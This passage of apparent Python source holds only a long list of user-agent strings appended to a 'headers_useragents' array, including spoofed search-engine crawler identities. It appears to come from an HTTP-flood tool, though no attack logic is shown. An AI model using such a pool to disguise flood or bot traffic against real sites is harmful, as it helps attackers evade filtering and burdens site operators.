Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) 